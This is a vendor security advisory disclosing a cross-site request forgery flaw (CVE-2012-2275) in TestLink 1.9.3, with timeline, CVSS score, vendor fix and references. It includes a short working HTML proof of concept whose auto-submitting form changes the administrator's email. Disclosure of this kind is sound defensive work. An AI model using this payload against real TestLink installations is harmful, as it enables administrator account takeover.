High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Сross-Site Request Forgery (CSRF) in TestLink

Advisory ID:HTB23088
Product:TestLink
Vendor: TestLink
Vulnerable Versions:1.9.3 and probably prior
Tested Version:1.9.3
Advisory Publication:April 18, 2012 [without technical details]
Vendor Notification:April 18, 2012
Vendor Fix:September 2, 2012
Public Disclosure:September 5, 2012
Latest Update:May 30, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2012-2275
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.


1) Сross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following PoC will change administrator's email:
<form action="http://[host]/lib/usermanagement/userInfo.php" method="post" name="main" id="main">
<input type="hidden" name="doAction" value="editUser">
<input type="hidden" name="lastName" value="LastName">
<input type="hidden" name="firstName" value="FirstName">
<input type="hidden" name="emailAddress" value="new@mail.com">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


Solution:
Upgrade to TestLink 1.9.4

More Information:
http://gitorious.org/testlink-ga/testlink-code/commit/2d4ac941314f8bda80e265c9de8bacf17d1cd3e6
http://gitorious.org/testlink-ga/testlink-code/commit/c8751a3c9ad8970b49d1bf882203efacd10af087
http://gitorious.org/testlink-ga/testlink-code/commit/252788c2373e73173172ada9af661e0721599891

Third-party disclosed vulnerability details on August 13, 2012 without vendor's patch: http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23088 - https://www.htbridge.com/advisory/HTB23088 - Сross-Site Request Forgery (CSRF) in TestLink.
[2] TestLink - http://www.teamst.org/ - An OpenSource test management tool which includes test specification, planning, reporting, requirements tracking and collaborate with well-known bug trackers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.